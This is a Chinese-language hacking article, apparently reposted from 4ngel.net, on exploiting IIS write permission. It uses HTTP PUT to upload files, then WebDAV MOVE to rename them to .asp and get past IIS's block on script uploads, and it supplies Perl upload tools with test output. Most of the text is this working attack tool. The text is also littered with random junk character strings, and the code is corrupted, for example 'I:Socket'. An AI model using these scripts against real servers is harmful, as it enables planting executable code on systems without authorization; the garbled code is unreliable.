对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

写权限

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

PUT /dir/my_file.txt HTTP/1.1 & ~, g: B/ b0 }. W" d' n5 f# U; tHost: iis-server Content-Length: 10

4 B3 X! p8 w7 D8 E

　　这时服务器会返回一个100( 继续)的信息：

- x; ~5 F# I0 f' I' ?7 G0 Y9 C7 x! b

4 N0 z; Q* o, _& K; a. r! @HTTP/1.1 100 Continue * _# q& a" s* U5 w$ HServer: Microsoft-IIS/5.0 % l( Y( w' Z; `) z9 i9 yDate: Thu, 28 Feb 2002 15:56:00 GMT

　　接着，我们输入10个字母：

1 x% K, ?2 Y0 [- h2 Z8 P& p

/ j" [: M1 Z' q4 A* GAAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

9 Z- \( H6 P/ tHTTP/1.1 201 Created Server: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:08 GMT 8 @( T& w; J4 _Location: http://iis-server/dir/my_file.txt . K0 ]0 T4 A) o: U( K* YContent-Length: 0 & H+ f6 i7 G. Y# y/ U! C) oAllow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, 7 O8 T: q( H j! b5 [' LPROPPATCH, SEARCH, LOCK, UNLOCK

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

PUT /dir/my_file.txt HTTP/1.1 - D0 L( z$ r5 c8 LHost: iis-server Content-Length: 10

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 　　Host：是HTTP请求的发送地址 　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

. r! m( _! W k, F

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

: @- ~- p/ r8 z

#!/usr/bin/perl 5 n# x3 z2 Z! @8 O [1 V4 v8 |use I:Socket; + \3 w: w I9 H$ARGC = @ARGV;

- m$ j8 i) \+ n- ~; Q" e

if ($ARGC != 4) 7 I% D3 F1 Q! C+ {+ f{ 　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; ! g4 {* D4 T8 ?5 U　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; . A. g/ i; ~3 l" F2 _" S! D+ }4 e @$file = @ARGV[2]; Y& W4 k0 R4 T2 L: a8 U5 q( x$path = @ARGV[3];

@s=stat("$file"); $size = $s[7]; #得到文件大小 print "$file size is $size bytes\n";

my $sock = I:Socket::INET->new(Proto =>"tcp", 0 h& R& v% P9 M( z* S1 w7 U' K3 bPeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; - R: c1 w/ u. S7 z+ j9 Pprint $sock "PUT $path HTTP/1.1\n"; ( M) Z8 `& B) [) Lprint $sock "Host: $host\n"; % c) \% D7 i) S# vprint $sock "Content-Length: $size\n\n"; #sock连接

9 N* c+ ^+ w3 }6 h; V( |

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

* F; `: p" o0 M5 X' ?, W

while (read(FILE,$char,1024)) { #读取文件数据上传 2 d3 s5 a; S' P　　print $sock "$char"; # u6 T7 Z7 ]" |8 C6 R; T} 9 K6 t0 C! J# b1 Tprint $sock "\n\n"; * H1 q/ ~. f3 e$ G& h@req = <$sock>; , X/ Q9 C& }, i: V% g* Z& Vprint "please wait...\n"; sleep(2); if ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 * m' M5 j! A3 I7 ~8 t} else{ + i5 H* n. V5 d' Y. U) o　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 & T( g5 O1 ^4 R" f% j} 9 w7 P' l* i2 d; ?0 G9 Uclose $sock; - w' I% F6 s$ ^close FILE;

　　下面我们测试下：

( {8 q6 K' f) S) y

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt kaka.txt size is 14 bytes please wait... / f2 r7 x* y/ c8 j6 r3 Kupfile Succeed!!!

* i2 q4 B: N$ Q) j2 f: {- d

C:\Inetpub\Scripts>dir kaka.txt 驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt 9 v$ s1 P, C9 Z/ U1 个文件 14 字节 0 个目录 3,871,080,448 可用字节

+ K- x1 @3 z9 D) Q( K$ G1 Z

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

) M& m' G( @9 w% |6 K

( o2 o& I% R* [

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe perl.exe size is 20535 bytes ! B& ?, V8 b3 c1 z" \% R# rplease wait... upfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe 5 }' |4 b% J* D6 b& T& G驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe 6 _1 A( S$ E2 b- ^6 d& ~1 个文件 20,535 字节 0 个目录 3,871,031,296 可用字节

: H% R. V* a. u

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp kaka.asp size is 4 bytes please wait... g" ?: P7 J C' L3 A8 S* aupfile faile!!!

/ ?4 P& _* h8 T8 x- U0 ~

HTTP/1.1 100 Continue 0 s: F5 q: c- L" w4 kServer: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT

$ \) a- D6 p! E

HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT Connection: close Content-Type: text/html " k; \2 y5 m; W1 m- t) `Content-Length: 44

, |+ \6 g a" |' e) K" J

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

" R, V; H$ n0 o! l0 r! {5 p 1 t! I2 V4 F* n8 `" }% u

D:\>nc 127.0.0.1 80 1 _' I! e" l% l8 L! E+ DMOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 Destination: http://127.0.0.1/scripts/kaka.asp

8 _$ {' b1 x% r+ V1 v& @, v4 }

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 $ S, c* m" l0 t0 e! f) p: h0 R ?Date: Sun, 05 Oct 2003 09:30:59 GMT Location: http://127.0.0.1/scripts/x.asp ; r* [2 ^9 i7 d5 I1 f4 aContent-Type: text/xml Content-Length: 0

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

* u: K7 C9 v5 y( g1 ?5 p

　　测试写asp成功：

+ q3 R' r3 ^; C* i4 J

P+ u o9 D9 H0 i5 j; ^2 Y

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp ************************************************************ codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ************************************************************ kaka.asp size is 4 bytes % t0 L- n: Y5 b/ i9 kplease wait... upfile Succeed!!! 1 a. S, A7 H! @9 | M4 u& KModifyfile Succeed!!!

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

0 c3 f! _( I% s* Y T( g

#!/usr/bin/perl 0 q3 u0 a4 o" Q0 d D4 W# C#The iiswrite Script

use I:Socket; - q) Z7 ?# S4 H$ARGC = @ARGV; 8 j5 E+ T' E" h# cprint "*" x 60; print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; ; J9 q0 b% {& U; @! v5 nprint "*" x 60,"\n"; , }& [9 N: J5 X: f" U3 Dif ($ARGC != 4) { 　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; " n* |$ a' W0 ?8 k% w　　exit; ) g [: a. h0 x% j} $host = @ARGV[0]; $port = @ARGV[1]; $ F ^* ]/ n% t$path = @ARGV[3]; ) \. Y2 @; I# K4 H4 B$file = @ARGV[2];

@path=split("/",$path); $any = pop(@path); 4 K4 P4 W) w8 }2 M3 C$path1=join("/",@path); 1 b; z4 J; |; W@s=stat("$file"); $size = $s[7];

1 U, ^" b- `& e5 O7 e3 H* V4 c

print "$file size is $size bytes\n"; 0 o+ C% \) }3 [3 R ]" kmy $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; 0 L1 d# Y! o7 T9 d: Fopen(FILE,"$file")|| die "Can't open $file"; binmode(FILE); % k2 c. b9 {2 C) L* q' M1 M2 ^# [8 s: mwhile (read(FILE,$char,1024)) { 　　print $sock "$char"; 5 Q; ?- |5 @/ Z5 S$ `2 v: b0 J} G. e0 K% b* k0 Vprint $sock "\n\n"; 5 I% N1 a" R* f& B) f@req = <$sock>; print "please wait...\n"; ! ?! [% N# s, Qsleep(2); ! e4 Z& E* l: [if ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!\n" ; ( }% H+ t2 O: p( C- _" g# ^: _5 e} else{ * C, M% ]4 B" [ x9 Y0 }　　print "upfile faile!!!\n"; } $ @+ S. }1 k0 Yclose $sock; close FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", 2 D; n3 F; k8 T6 j/ TPeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; ) o( u9 t; P4 qprint $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Destination:http://$hostport$path\n\n\n\n"; @req = <$sock>; , V% j# k& H* fif ($req[0]=~/20\d+|/){ / v8 `. S) q2 @! v* O' s　　print "Modifyfile Succeed!!!" ; % `: q6 l$ u& x6 L& T* s} else{ 4 q* i% B0 a9 _. u$ J! x　　print "upfile faile!!!"; } ) n7 ? _$ P- e5 z/ m7 Aclose $sock